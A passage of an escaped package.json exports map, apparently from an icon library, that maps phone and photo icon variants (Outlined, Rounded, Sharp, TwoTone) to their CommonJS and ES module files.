\"./PhoneAndroid.js\",\n      \"default\": \"./PhoneAndroid.mjs\"\n    },\n    \"./PhoneAndroidOutlined\": {\n      \"import\": \"./PhoneAndroidOutlined.mjs\",\n      \"require\": \"./PhoneAndroidOutlined.js\",\n      \"default\": \"./PhoneAndroidOutlined.mjs\"\n    },\n    \"./PhoneAndroidRounded\": {\n      \"import\": \"./PhoneAndroidRounded.mjs\",\n      \"require\": \"./PhoneAndroidRounded.js\",\n      \"default\": \"./PhoneAndroidRounded.mjs\"\n    },\n    \"./PhoneAndroidSharp\": {\n      \"import\": \"./PhoneAndroidSharp.mjs\",\n      \"require\": \"./PhoneAndroidSharp.js\",\n      \"default\": \"./PhoneAndroidSharp.mjs\"\n    },\n    \"./PhoneAndroidTwoTone\": {\n      \"require\": \"./PhoneAndroidTwoTone.js\",\n      \"import\": \"./PhoneAndroidTwoTone.mjs\",\n      \"default\": \"./PhoneAndroidTwoTone.mjs\"\n    },\n    \"./PhoneBluetoothSpeaker\": {\n      \"require\": \"./PhoneBluetoothSpeaker.js\",\n      \"import\": \"./PhoneBluetoothSpeaker.mjs\",\n      \"default\": \"./PhoneBluetoothSpeaker.mjs\"\n    },\n    \"./PhoneBluetoothSpeakerOutlined\": {\n      \"import\": \"./PhoneBluetoothSpeakerOutlined.mjs\",\n      \"require\": \"./PhoneBluetoothSpeakerOutlined.js\",\n      \"default\": \"./PhoneBluetoothSpeakerOutlined.mjs\"\n    },\n    \"./PhoneBluetoothSpeakerRounded\": {\n      \"require\": \"./PhoneBluetoothSpeakerRounded.js\",\n      \"import\": \"./PhoneBluetoothSpeakerRounded.mjs\",\n      \"default\": \"./PhoneBluetoothSpeakerRounded.mjs\"\n    },\n    \"./PhoneBluetoothSpeakerSharp\": {\n      \"require\": \"./PhoneBluetoothSpeakerSharp.js\",\n      \"import\": \"./PhoneBluetoothSpeakerSharp.mjs\",\n      \"default\": \"./PhoneBluetoothSpeakerSharp.mjs\"\n    },\n    \"./PhoneBluetoothSpeakerTwoTone\": {\n      \"require\": \"./PhoneBluetoothSpeakerTwoTone.js\",\n      \"import\": \"./PhoneBluetoothSpeakerTwoTone.mjs\",\n      \"default\": \"./PhoneBluetoothSpeakerTwoTone.mjs\"\n    },\n    \"./PhoneCallback\": {\n      \"import\": \"./PhoneCallback.mjs\",\n      \"require\": \"./PhoneCallback.js\",\n      \"default\": \"./PhoneCallback.mjs\"\n    },\n    \"./PhoneCallbackOutlined\": {\n      \"import\": \"./PhoneCallbackOutlined.mjs\",\n      \"require\": \"./PhoneCallbackOutlined.js\",\n      \"default\": \"./PhoneCallbackOutlined.mjs\"\n    },\n    \"./PhoneCallbackRounded\": {\n      \"import\": \"./PhoneCallbackRounded.mjs\",\n      \"require\": \"./PhoneCallbackRounded.js\",\n      \"default\": \"./PhoneCallbackRounded.mjs\"\n    },\n    \"./PhoneCallbackSharp\": {\n      \"import\": \"./PhoneCallbackSharp.mjs\",\n      \"require\": \"./PhoneCallbackSharp.js\",\n      \"default\": \"./PhoneCallbackSharp.mjs\"\n    },\n    \"./PhoneCallbackTwoTone\": {\n      \"import\": \"./PhoneCallbackTwoTone.mjs\",\n      \"require\": \"./PhoneCallbackTwoTone.js\",\n      \"default\": \"./PhoneCallbackTwoTone.mjs\"\n    },\n    \"./PhoneDisabled\": {\n      \"import\": \"./PhoneDisabled.mjs\",\n      \"require\": \"./PhoneDisabled.js\",\n      \"default\": \"./PhoneDisabled.mjs\"\n    },\n    \"./PhoneDisabledOutlined\": {\n      \"import\": \"./PhoneDisabledOutlined.mjs\",\n      \"require\": \"./PhoneDisabledOutlined.js\",\n      \"default\": \"./PhoneDisabledOutlined.mjs\"\n    },\n    \"./PhoneDisabledRounded\": {\n      \"require\": \"./PhoneDisabledRounded.js\",\n      \"import\": \"./PhoneDisabledRounded.mjs\",\n      \"default\": \"./PhoneDisabledRounded.mjs\"\n    },\n    \"./PhoneDisabledSharp\": {\n      \"require\": \"./PhoneDisabledSharp.js\",\n      \"import\": \"./PhoneDisabledSharp.mjs\",\n      \"default\": \"./PhoneDisabledSharp.mjs\"\n    },\n    \"./PhoneDisabledTwoTone\": {\n      \"require\": \"./PhoneDisabledTwoTone.js\",\n      \"import\": \"./PhoneDisabledTwoTone.mjs\",\n      \"default\": \"./PhoneDisabledTwoTone.mjs\"\n    },\n    \"./PhoneEnabled\": {\n      \"require\": \"./PhoneEnabled.js\",\n      \"import\": \"./PhoneEnabled.mjs\",\n      \"default\": \"./PhoneEnabled.mjs\"\n    },\n    \"./PhoneEnabledOutlined\": {\n      \"require\": \"./PhoneEnabledOutlined.js\",\n      \"import\": \"./PhoneEnabledOutlined.mjs\",\n      \"default\": \"./PhoneEnabledOutlined.mjs\"\n    },\n    \"./PhoneEnabledRounded\": {\n      \"require\": \"./PhoneEnabledRounded.js\",\n      \"import\": \"./PhoneEnabledRounded.mjs\",\n      \"default\": \"./PhoneEnabledRounded.mjs\"\n    },\n    \"./PhoneEnabledSharp\": {\n      \"require\": \"./PhoneEnabledSharp.js\",\n      \"import\": \"./PhoneEnabledSharp.mjs\",\n      \"default\": \"./PhoneEnabledSharp.mjs\"\n    },\n    \"./PhoneEnabledTwoTone\": {\n      \"require\": \"./PhoneEnabledTwoTone.js\",\n      \"import\": \"./PhoneEnabledTwoTone.mjs\",\n      \"default\": \"./PhoneEnabledTwoTone.mjs\"\n    },\n    \"./PhoneForwarded\": {\n      \"require\": \"./PhoneForwarded.js\",\n      \"import\": \"./PhoneForwarded.mjs\",\n      \"default\": \"./PhoneForwarded.mjs\"\n    },\n    \"./PhoneForwardedOutlined\": {\n      \"require\": \"./PhoneForwardedOutlined.js\",\n      \"import\": \"./PhoneForwardedOutlined.mjs\",\n      \"default\": \"./PhoneForwardedOutlined.mjs\"\n    },\n    \"./PhoneForwardedRounded\": {\n      \"import\": \"./PhoneForwardedRounded.mjs\",\n      \"require\": \"./PhoneForwardedRounded.js\",\n      \"default\": \"./PhoneForwardedRounded.mjs\"\n    },\n    \"./PhoneForwardedSharp\": {\n      \"import\": \"./PhoneForwardedSharp.mjs\",\n      \"require\": \"./PhoneForwardedSharp.js\",\n      \"default\": \"./PhoneForwardedSharp.mjs\"\n    },\n    \"./PhoneForwardedTwoTone\": {\n      \"import\": \"./PhoneForwardedTwoTone.mjs\",\n      \"require\": \"./PhoneForwardedTwoTone.js\",\n      \"default\": \"./PhoneForwardedTwoTone.mjs\"\n    },\n    \"./PhoneInTalk\": {\n      \"import\": \"./PhoneInTalk.mjs\",\n      \"require\": \"./PhoneInTalk.js\",\n      \"default\": \"./PhoneInTalk.mjs\"\n    },\n    \"./PhoneInTalkOutlined\": {\n      \"require\": \"./PhoneInTalkOutlined.js\",\n      \"import\": \"./PhoneInTalkOutlined.mjs\",\n      \"default\": \"./PhoneInTalkOutlined.mjs\"\n    },\n    \"./PhoneInTalkRounded\": {\n      \"require\": \"./PhoneInTalkRounded.js\",\n      \"import\": \"./PhoneInTalkRounded.mjs\",\n      \"default\": \"./PhoneInTalkRounded.mjs\"\n    },\n    \"./PhoneInTalkSharp\": {\n      \"import\": \"./PhoneInTalkSharp.mjs\",\n      \"require\": \"./PhoneInTalkSharp.js\",\n      \"default\": \"./PhoneInTalkSharp.mjs\"\n    },\n    \"./PhoneInTalkTwoTone\": {\n      \"import\": \"./PhoneInTalkTwoTone.mjs\",\n      \"require\": \"./PhoneInTalkTwoTone.js\",\n      \"default\": \"./PhoneInTalkTwoTone.mjs\"\n    },\n    \"./PhoneIphone\": {\n      \"require\": \"./PhoneIphone.js\",\n      \"import\": \"./PhoneIphone.mjs\",\n      \"default\": \"./PhoneIphone.mjs\"\n    },\n    \"./PhoneIphoneOutlined\": {\n      \"require\": \"./PhoneIphoneOutlined.js\",\n      \"import\": \"./PhoneIphoneOutlined.mjs\",\n      \"default\": \"./PhoneIphoneOutlined.mjs\"\n    },\n    \"./PhoneIphoneRounded\": {\n      \"require\": \"./PhoneIphoneRounded.js\",\n      \"import\": \"./PhoneIphoneRounded.mjs\",\n      \"default\": \"./PhoneIphoneRounded.mjs\"\n    },\n    \"./PhoneIphoneSharp\": {\n      \"require\": \"./PhoneIphoneSharp.js\",\n      \"import\": \"./PhoneIphoneSharp.mjs\",\n      \"default\": \"./PhoneIphoneSharp.mjs\"\n    },\n    \"./PhoneIphoneTwoTone\": {\n      \"import\": \"./PhoneIphoneTwoTone.mjs\",\n      \"require\": \"./PhoneIphoneTwoTone.js\",\n      \"default\": \"./PhoneIphoneTwoTone.mjs\"\n    },\n    \"./PhoneLocked\": {\n      \"import\": \"./PhoneLocked.mjs\",\n      \"require\": \"./PhoneLocked.js\",\n      \"default\": \"./PhoneLocked.mjs\"\n    },\n    \"./PhoneLockedOutlined\": {\n      \"import\": \"./PhoneLockedOutlined.mjs\",\n      \"require\": \"./PhoneLockedOutlined.js\",\n      \"default\": \"./PhoneLockedOutlined.mjs\"\n    },\n    \"./PhoneLockedRounded\": {\n      \"import\": \"./PhoneLockedRounded.mjs\",\n      \"require\": \"./PhoneLockedRounded.js\",\n      \"default\": \"./PhoneLockedRounded.mjs\"\n    },\n    \"./PhoneLockedSharp\": {\n      \"import\": \"./PhoneLockedSharp.mjs\",\n      \"require\": \"./PhoneLockedSharp.js\",\n      \"default\": \"./PhoneLockedSharp.mjs\"\n    },\n    \"./PhoneLockedTwoTone\": {\n      \"import\": \"./PhoneLockedTwoTone.mjs\",\n      \"require\": \"./PhoneLockedTwoTone.js\",\n      \"default\": \"./PhoneLockedTwoTone.mjs\"\n    },\n    \"./PhoneMissed\": {\n      \"import\": \"./PhoneMissed.mjs\",\n      \"require\": \"./PhoneMissed.js\",\n      \"default\": \"./PhoneMissed.mjs\"\n    },\n    \"./PhoneMissedOutlined\": {\n      \"import\": \"./PhoneMissedOutlined.mjs\",\n      \"require\": \"./PhoneMissedOutlined.js\",\n      \"default\": \"./PhoneMissedOutlined.mjs\"\n    },\n    \"./PhoneMissedRounded\": {\n      \"require\": \"./PhoneMissedRounded.js\",\n      \"import\": \"./PhoneMissedRounded.mjs\",\n      \"default\": \"./PhoneMissedRounded.mjs\"\n    },\n    \"./PhoneMissedSharp\": {\n      \"require\": \"./PhoneMissedSharp.js\",\n      \"import\": \"./PhoneMissedSharp.mjs\",\n      \"default\": \"./PhoneMissedSharp.mjs\"\n    },\n    \"./PhoneMissedTwoTone\": {\n      \"require\": \"./PhoneMissedTwoTone.js\",\n      \"import\": \"./PhoneMissedTwoTone.mjs\",\n      \"default\": \"./PhoneMissedTwoTone.mjs\"\n    },\n    \"./PhoneOutlined\": {\n      \"require\": \"./PhoneOutlined.js\",\n      \"import\": \"./PhoneOutlined.mjs\",\n      \"default\": \"./PhoneOutlined.mjs\"\n    },\n    \"./PhonePaused\": {\n      \"require\": \"./PhonePaused.js\",\n      \"import\": \"./PhonePaused.mjs\",\n      \"default\": \"./PhonePaused.mjs\"\n    },\n    \"./PhonePausedOutlined\": {\n      \"import\": \"./PhonePausedOutlined.mjs\",\n      \"require\": \"./PhonePausedOutlined.js\",\n      \"default\": \"./PhonePausedOutlined.mjs\"\n    },\n    \"./PhonePausedRounded\": {\n      \"import\": \"./PhonePausedRounded.mjs\",\n      \"require\": \"./PhonePausedRounded.js\",\n      \"default\": \"./PhonePausedRounded.mjs\"\n    },\n    \"./PhonePausedSharp\": {\n      \"require\": \"./PhonePausedSharp.js\",\n      \"import\": \"./PhonePausedSharp.mjs\",\n      \"default\": \"./PhonePausedSharp.mjs\"\n    },\n    \"./PhonePausedTwoTone\": {\n      \"require\": \"./PhonePausedTwoTone.js\",\n      \"import\": \"./PhonePausedTwoTone.mjs\",\n      \"default\": \"./PhonePausedTwoTone.mjs\"\n    },\n    \"./PhoneRounded\": {\n      \"import\": \"./PhoneRounded.mjs\",\n      \"require\": \"./PhoneRounded.js\",\n      \"default\": \"./PhoneRounded.mjs\"\n    },\n    \"./PhoneSharp\": {\n      \"import\": \"./PhoneSharp.mjs\",\n      \"require\": \"./PhoneSharp.js\",\n      \"default\": \"./PhoneSharp.mjs\"\n    },\n    \"./PhoneTwoTone\": {\n      \"import\": \"./PhoneTwoTone.mjs\",\n      \"require\": \"./PhoneTwoTone.js\",\n      \"default\": \"./PhoneTwoTone.mjs\"\n    },\n    \"./Phonelink\": {\n      \"import\": \"./Phonelink.mjs\",\n      \"require\": \"./Phonelink.js\",\n      \"default\": \"./Phonelink.mjs\"\n    },\n    \"./PhonelinkErase\": {\n      \"import\": \"./PhonelinkErase.mjs\",\n      \"require\": \"./PhonelinkErase.js\",\n      \"default\": \"./PhonelinkErase.mjs\"\n    },\n    \"./PhonelinkEraseOutlined\": {\n      \"import\": \"./PhonelinkEraseOutlined.mjs\",\n      \"require\": \"./PhonelinkEraseOutlined.js\",\n      \"default\": \"./PhonelinkEraseOutlined.mjs\"\n    },\n    \"./PhonelinkEraseRounded\": {\n      \"import\": \"./PhonelinkEraseRounded.mjs\",\n      \"require\": \"./PhonelinkEraseRounded.js\",\n      \"default\": \"./PhonelinkEraseRounded.mjs\"\n    },\n    \"./PhonelinkEraseSharp\": {\n      \"import\": \"./PhonelinkEraseSharp.mjs\",\n      \"require\": \"./PhonelinkEraseSharp.js\",\n      \"default\": \"./PhonelinkEraseSharp.mjs\"\n    },\n    \"./PhonelinkEraseTwoTone\": {\n      \"import\": \"./PhonelinkEraseTwoTone.mjs\",\n      \"require\": \"./PhonelinkEraseTwoTone.js\",\n      \"default\": \"./PhonelinkEraseTwoTone.mjs\"\n    },\n    \"./PhonelinkLock\": {\n      \"import\": \"./PhonelinkLock.mjs\",\n      \"require\": \"./PhonelinkLock.js\",\n      \"default\": \"./PhonelinkLock.mjs\"\n    },\n    \"./PhonelinkLockOutlined\": {\n      \"import\": \"./PhonelinkLockOutlined.mjs\",\n      \"require\": \"./PhonelinkLockOutlined.js\",\n      \"default\": \"./PhonelinkLockOutlined.mjs\"\n    },\n    \"./PhonelinkLockRounded\": {\n      \"import\": \"./PhonelinkLockRounded.mjs\",\n      \"require\": \"./PhonelinkLockRounded.js\",\n      \"default\": \"./PhonelinkLockRounded.mjs\"\n    },\n    \"./PhonelinkLockSharp\": {\n      \"import\": \"./PhonelinkLockSharp.mjs\",\n      \"require\": \"./PhonelinkLockSharp.js\",\n      \"default\": \"./PhonelinkLockSharp.mjs\"\n    },\n    \"./PhonelinkLockTwoTone\": {\n      \"import\": \"./PhonelinkLockTwoTone.mjs\",\n      \"require\": \"./PhonelinkLockTwoTone.js\",\n      \"default\": \"./PhonelinkLockTwoTone.mjs\"\n    },\n    \"./PhonelinkOff\": {\n      \"import\": \"./PhonelinkOff.mjs\",\n      \"require\": \"./PhonelinkOff.js\",\n      \"default\": \"./PhonelinkOff.mjs\"\n    },\n    \"./PhonelinkOffOutlined\": {\n      \"require\": \"./PhonelinkOffOutlined.js\",\n      \"import\": \"./PhonelinkOffOutlined.mjs\",\n      \"default\": \"./PhonelinkOffOutlined.mjs\"\n    },\n    \"./PhonelinkOffRounded\": {\n      \"require\": \"./PhonelinkOffRounded.js\",\n      \"import\": \"./PhonelinkOffRounded.mjs\",\n      \"default\": \"./PhonelinkOffRounded.mjs\"\n    },\n    \"./PhonelinkOffSharp\": {\n      \"require\": \"./PhonelinkOffSharp.js\",\n      \"import\": \"./PhonelinkOffSharp.mjs\",\n      \"default\": \"./PhonelinkOffSharp.mjs\"\n    },\n    \"./PhonelinkOffTwoTone\": {\n      \"require\": \"./PhonelinkOffTwoTone.js\",\n      \"import\": \"./PhonelinkOffTwoTone.mjs\",\n      \"default\": \"./PhonelinkOffTwoTone.mjs\"\n    },\n    \"./PhonelinkOutlined\": {\n      \"require\": \"./PhonelinkOutlined.js\",\n      \"import\": \"./PhonelinkOutlined.mjs\",\n      \"default\": \"./PhonelinkOutlined.mjs\"\n    },\n    \"./PhonelinkRing\": {\n      \"require\": \"./PhonelinkRing.js\",\n      \"import\": \"./PhonelinkRing.mjs\",\n      \"default\": \"./PhonelinkRing.mjs\"\n    },\n    \"./PhonelinkRingOutlined\": {\n      \"require\": \"./PhonelinkRingOutlined.js\",\n      \"import\": \"./PhonelinkRingOutlined.mjs\",\n      \"default\": \"./PhonelinkRingOutlined.mjs\"\n    },\n    \"./PhonelinkRingRounded\": {\n      \"require\": \"./PhonelinkRingRounded.js\",\n      \"import\": \"./PhonelinkRingRounded.mjs\",\n      \"default\": \"./PhonelinkRingRounded.mjs\"\n    },\n    \"./PhonelinkRingSharp\": {\n      \"require\": \"./PhonelinkRingSharp.js\",\n      \"import\": \"./PhonelinkRingSharp.mjs\",\n      \"default\": \"./PhonelinkRingSharp.mjs\"\n    },\n    \"./PhonelinkRingTwoTone\": {\n      \"require\": \"./PhonelinkRingTwoTone.js\",\n      \"import\": \"./PhonelinkRingTwoTone.mjs\",\n      \"default\": \"./PhonelinkRingTwoTone.mjs\"\n    },\n    \"./PhonelinkRounded\": {\n      \"require\": \"./PhonelinkRounded.js\",\n      \"import\": \"./PhonelinkRounded.mjs\",\n      \"default\": \"./PhonelinkRounded.mjs\"\n    },\n    \"./PhonelinkSetup\": {\n      \"require\": \"./PhonelinkSetup.js\",\n      \"import\": \"./PhonelinkSetup.mjs\",\n      \"default\": \"./PhonelinkSetup.mjs\"\n    },\n    \"./PhonelinkSetupOutlined\": {\n      \"require\": \"./PhonelinkSetupOutlined.js\",\n      \"import\": \"./PhonelinkSetupOutlined.mjs\",\n      \"default\": \"./PhonelinkSetupOutlined.mjs\"\n    },\n    \"./PhonelinkSetupRounded\": {\n      \"require\": \"./PhonelinkSetupRounded.js\",\n      \"import\": \"./PhonelinkSetupRounded.mjs\",\n      \"default\": \"./PhonelinkSetupRounded.mjs\"\n    },\n    \"./PhonelinkSetupSharp\": {\n      \"require\": \"./PhonelinkSetupSharp.js\",\n      \"import\": \"./PhonelinkSetupSharp.mjs\",\n      \"default\": \"./PhonelinkSetupSharp.mjs\"\n    },\n    \"./PhonelinkSetupTwoTone\": {\n      \"require\": \"./PhonelinkSetupTwoTone.js\",\n      \"import\": \"./PhonelinkSetupTwoTone.mjs\",\n      \"default\": \"./PhonelinkSetupTwoTone.mjs\"\n    },\n    \"./PhonelinkSharp\": {\n      \"require\": \"./PhonelinkSharp.js\",\n      \"import\": \"./PhonelinkSharp.mjs\",\n      \"default\": \"./PhonelinkSharp.mjs\"\n    },\n    \"./PhonelinkTwoTone\": {\n      \"require\": \"./PhonelinkTwoTone.js\",\n      \"import\": \"./PhonelinkTwoTone.mjs\",\n      \"default\": \"./PhonelinkTwoTone.mjs\"\n    },\n    \"./Photo\": {\n      \"require\": \"./Photo.js\",\n      \"import\": \"./Photo.mjs\",\n      \"default\": \"./Photo.mjs\"\n    },\n    \"./PhotoAlbum\": {\n      \"require\": \"./PhotoAlbum.js\",\n      \"import\": \"./PhotoAlbum.mjs\",\n      \"default\": \"./PhotoAlbum.mjs\"\n    },\n    \"./PhotoAlbumOutlined\": {\n      \"require\": \"./PhotoAlbumOutlined.js\",\n      \"import\": \"./PhotoAlbumOutlined.mjs\",\n      \"default\": \"./PhotoAlbumOutlined.mjs\"\n    },\n    \"./PhotoAlbumRounded\": {\n      \"require\": \"./PhotoAlbumRounded.js\",\n      \"import\": \"./PhotoAlbumRounded.mjs\",\n      \"default\": \"./PhotoAlbumRounded.mjs\"\n    },\n    \"./PhotoAlbumSharp\": {\n      \"require\": \"./PhotoAlbumSharp.js\",\n      \"import\": \"./PhotoAlbumSharp.mjs\",\n      \"default\": \"./PhotoAlbumSharp.mjs\"\n    },\n    \"./PhotoAlbumTwoTone\": {\n      \"require\": \"./PhotoAlbumTwoTone.js\",\n      \"import\": \"./PhotoAlbumTwoTone.mjs\",\n      \"default\": \"./PhotoAlbumTwoTone.mjs\"\n    },\n    \"./PhotoCamera\": {\n      \"require\": \"./PhotoCamera.js\",\n      \"import\": \"./PhotoCamera.mjs\",\n      \"default\": \"./PhotoCamera.mjs\"\n    },\n    \"./PhotoCameraBack\": {\n      \"import\": \"./PhotoCameraBack.mjs\",\n      \"require\": \"./PhotoCameraBack.js\",\n      \"default\": \"./PhotoCameraBack.mjs\"\n    },\n    \"./PhotoCameraBackOutlined\": {\n      \"import\": \"./PhotoCameraBackOutlined.mjs\",\n      \"require\": \"./PhotoCameraBackOutlined.js\",\n      \"default\": \"./PhotoCameraBackOutlined.mjs\"\n    },\n    \"./PhotoCameraBackRounded\": {\n      \"import\": \"./PhotoCameraBackRounded.mjs\",\n      \"require\": \"./PhotoCameraBackRounded.js\",\n      \"default\": \"./PhotoCameraBackRounded.mjs\"\n    },\n    \"./PhotoCameraBackSharp\": {\n      \"import\": \"./PhotoCameraBackSharp.mjs\",\n      \"require\": \"./PhotoCameraBackSharp.js\",\n      \"default\": \"./PhotoCameraBackSharp.mjs\"\n    },\n    \"./PhotoCameraBackTwoTone\": {\n      \"require\": \"./PhotoCameraBackTwoTone.js\",\n      \"import\": \"./PhotoCameraBackTwoTone.mjs\",\n      \"default\": \"./PhotoCameraBackTwoTone.mjs\"\n    },\n    \"./PhotoCameraFront\": {\n      \"import\": \"./PhotoCameraFront.mjs\",\n      \"require\": \"./PhotoCameraFront.js\",\n      \"default\": \"./PhotoCameraFront.mjs\"\n    },\n    \"./PhotoCameraFrontOutlined\": {\n      \"import\": \"./PhotoCameraFrontOutlined.mjs\",\n      \"require\": \"./PhotoCameraFrontOutlined.js\",\n      \"default\": \"./PhotoCameraFrontOutlined.mjs\"\n    },\n    \"./PhotoCameraFrontRounded\": {\n      \"import\": \"./PhotoCameraFrontRounded.mjs\",\n      \"require\": \"./PhotoCameraFrontRounded.js\",\n      \"default\": \"./PhotoCameraFrontRounded.mjs\"\n    },\n    \"./PhotoCameraFrontSharp\": {\n      \"import\": \"./PhotoCameraFrontSharp.mjs\",\n      \"require\": \"./PhotoCameraFrontSharp.js\",\n      \"default\": \"./PhotoCameraFrontSharp.mjs\"\n    },\n    \"./PhotoCameraFrontTwoTone\": {\n      \"import\": \"./PhotoCameraFrontTwoTone.mjs\",\n      \"require\": \"./PhotoCameraFrontTwoTone.js\",\n      \"default\": \"./PhotoCameraFrontTwoTone.mjs\"\n    },\n    \"./PhotoCameraOutlined\": {\n      \"require\": \"./PhotoCameraOutlined.js\",\n      \"import\": \"./PhotoCameraOutlined.mjs\",\n      \"default\": \"./PhotoCameraOutlined.mjs\"\n    },\n    \"./PhotoCameraRounded\": {\n      \"require\": \"./PhotoCameraRounded.js\",\n      \"import\": \"./PhotoCameraRounded.mjs\",\n      \"default\": \"./PhotoCameraRounded.mjs\"\n    },\n    \"./PhotoCameraSharp\": {\n      \"require\": \"./PhotoCameraSharp.js\",\n      \"import\": \"./PhotoCameraSharp.mjs\",\n      \"default\": \"./PhotoCameraSharp.mjs\"\n    },\n    \"./PhotoCameraTwoTone\": {\n      \"require\": \"./PhotoCameraTwoTone.js\",\n      \"import\": \"./PhotoCameraTwoTone.mjs\",\n      \"default\": \"./PhotoCameraTwoTone.mjs\"\n    },\n    \"./PhotoFilter\": {\n      \"require\": \"./PhotoFilter.js\",\n      \"import\": \"./PhotoFilter.mjs\",\n      \"default\": \"./PhotoFilter.mjs\"\n    },\n    \"./PhotoFilterOutlined\": {\n      \"require\": \"./PhotoFilterOutlined.js\",\n      \"import\": \"./PhotoFilterOutlined.mjs\",\n      \"default\": \"./PhotoFilterOutlined.mjs\"\n    },\n    \"./PhotoFilterRounded\": {\n      \"require\": \"./PhotoFilterRounded.js\",\n      \"import\": \"./PhotoFilterRounded.mjs\",\n      \"default\": \"./PhotoFilterRounded.mjs\"\n    },\n    \"./PhotoFilterSharp\": {\n      \"require\": \"./PhotoFilterSharp.js\",\n      \"import\": \"./PhotoFilterSharp.mjs\",\n      \"default\": \"./PhotoFilterSharp.mjs\"\n    },\n    \"./PhotoFilterTwoTone\": {\n      \"require\": \"./PhotoFilterTwoTone.js\",\n      \"import\": \"./PhotoFilterTwoTone.mjs\",\n      \"default\": \"./PhotoFilterTwoTone.mjs\"\n    },\n    \"./PhotoLibrary\": {\n      \"require\": \"./PhotoLibrary.js\",\n      \"import\": \"./PhotoLibrary.mjs\",\n      \"default\": \"./PhotoLibrary.mjs\"\n    },\n    \"./PhotoLibraryOutlined\": {\n      \"require\": \"./PhotoLibraryOutlined.js\",\n      \"import\": \"./PhotoLibraryOutlined.mjs\",\n      \"default\": \"./PhotoLibraryOutlined.mjs\"\n    },\n    \"./PhotoLibraryRounded\": {\n      \"require\": \"./PhotoLibraryRounded.js\",\n      \"import\": \"./PhotoLibraryRounded.mjs\",\n      \"default\": \"./PhotoLibraryRounded.mjs\"\n    },\n    \"./PhotoLibrarySharp\": {\n      \"require\": \"./PhotoLibrarySharp.js\",\n      \"import\": \"./PhotoLibrarySharp.mjs\",\n      \"default\": \"./PhotoLibrarySharp.mjs\"\n    },\n    \"./PhotoLibraryTwoTone\": {\n      \"require\": \"./PhotoLibraryTwoTone.js\",\n      \"import\": \"./PhotoLibraryTwoTone.mjs\",\n      \"default\": \"./PhotoLibraryTwoTone.mjs\"\n    },\n    \"./PhotoOutlined\": {\n      \"require\": \"./PhotoOutlined.js\",\n      \"import\": \"./PhotoOutlined.mjs\",\n      \"default\": \"./PhotoOutlined.mjs\"\n    },\n    \"./PhotoRounded\": {\n      \"require\": \"./PhotoRounded.js\",\n      \"import\": \"./PhotoRounded.mjs\",\n      \"default\": \"./PhotoRounded.mjs\"\n    },\n    \"./PhotoSharp\": {\n      \"import\": \"./PhotoSharp.mjs\",\n      \"require\": \"./PhotoSharp.js\",\n      \"default\": \"./PhotoSharp.mjs\"\n    },\n    \"./PhotoSizeSelectActual\": {\n      \"import\": \"./PhotoSizeSelectActual.mjs\",\n      \"require\": \"./PhotoSizeSelectActual.js\",\n      \"default\": \"./PhotoSizeSelectActual.mjs\"\n    },\n    \"./PhotoSizeSelectActualOutlined\": {\n      \"import\": \"./PhotoSizeSelectActualOutlined.mjs\",\n      \"require\": \"./PhotoSizeSelectActualOutlined.js\",\n      \"default\": \"./PhotoSizeSelectActualOutlined.mjs\"\n    },\n    \"./PhotoSizeSelectActualRounded\": {\n      \"import\": \"./PhotoSizeSelectActualRounded.mjs\",\n      \"require\": \"./PhotoSizeSelectActualRounded.js\",\n      \"default\": \"./PhotoSizeSelectActualRounded.mjs\"\n    },\n    \"./PhotoSizeSelectActualSharp\": {\n      \"import\": \"./PhotoSizeSelectActualSharp.mjs\",\n      \"require\": \"./PhotoSizeSelectActualSharp.js\",\n      \"default\": \"./PhotoSizeSelectActualSharp.mjs\"\n    },\n    \"./PhotoSizeSelectActualTwoTone\": {\n      \"import\": \"./PhotoSizeSelectActualTwoTone.mjs\",\n      \"require\": \"./PhotoSizeSelectActualTwoTone.js\",\n      \"default\": \"./PhotoSizeSelectActualTwoTone.mjs\"\n    },\n    \"./PhotoSizeSelectLarge\": {\n      \"import\": \"./PhotoSizeSelectLarge.mjs\",\n      \"require\": \"./PhotoSizeSelectLarge.js\",\n      \"default\": \"./PhotoSizeSelectLarge.mjs\"\n    },\n    \"./PhotoSizeSelectLargeOutlined\": {\n      \"import\": \"./PhotoSizeSelectLargeOutlined.mjs\",\n      \"require\": \"./PhotoSizeSelectLargeOutlined.js\",\n      \"default\": \"./PhotoSizeSelectLargeOutlined.mjs\"\n    },\n    \"./PhotoSizeSelectLargeRounded\": {\n      \"import\": \"./PhotoSizeSelectLargeRounded.mjs\",\n      \"require\": \"./PhotoSizeSelectLargeRounded.js\",\n      \"default\": \"./PhotoSizeSelectLargeRounded.mjs\"\n    },\n    \"./PhotoSizeSelectLargeSharp\": {\n      \"require\": \"./PhotoSizeSelectLargeSharp.js\",\n      \"import\": \"./PhotoSizeSelectLargeSharp.mjs\",\n      \"default\": \"./PhotoSizeSelectLargeSharp.mjs\"\n    },\n    \"./PhotoSizeSelectLargeTwoTone\": {\n      \"require\": \"./PhotoSizeSelectLargeTwoTone.js\",\n      \"import\": \"./PhotoSizeSelectLargeTwoTone.mjs\",\n      \"default\": \"./PhotoSizeSelectLargeTwoTone.mjs\"\n    },\n    \"./PhotoSizeSelectSmall\": {\n      \"import\": \"./PhotoSizeSelectSmall.mjs\",\n      \"require\": \"./PhotoSizeSelectSmall.js\",\n      \"default\": \"./PhotoSizeSelectSmall.mjs\"\n    },\n    \"./PhotoSizeSelectSmallOutlined\": {\n      \"import\": \"./PhotoSizeSelectSmallOutlined.mjs\",\n      \"require\": \"./PhotoSizeSelectSmallOutlined.js\",\n      \"default\": \"./PhotoSizeSelectSmallOutlined.mjs\"\n    },\n    \"./PhotoSizeSelectSmallRounded\": {\n      \"import\": \"./PhotoSizeSelectSmallRounded.mjs\",\n      \"require\": \"./PhotoSizeSelectSmallRounded.js\",\n      \"default\": \"./PhotoSizeSelectSmallRounded.mjs\"\n    },\n    \"./PhotoSizeSelectSmallSharp\": {\n      \"import\": \"./PhotoSizeSelectSmallSharp.mjs\",\n      \"require\": \"./PhotoSizeSelectSmallSharp.js\",\n      \"default\": \"./PhotoSizeSelectSmallSharp.mjs\"\n    },\n    \"./PhotoSizeSelectSmallTwoTone\": {\n      \"import\": \"./PhotoSizeSelectSmallTwoTone.mjs\",\n      \"require\": \"./PhotoSizeSelectSmallTwoTone.js\",\n      \"default\": \"./PhotoSizeSelectSmallTwoTone.mjs\"\n    },\n    \"./PhotoTwoTone\": {\n      \"import\": \"./PhotoTwoTone.mjs\",\n      \"require\": \"./PhotoTwoTone.js\",\n      \"default\": \"./PhotoTwoTone.mjs\"\n    },\n    \"./Php\": {\n      \"import\": \"./Php.mjs\",\n      \"require\": \"./Php.js\",\n      \"default\": \"./Php.mjs\"\n    },\n    \"./PhpOutlined\": {\n      \"import\": \"./PhpOutlined.mjs\",\n      \"require\": 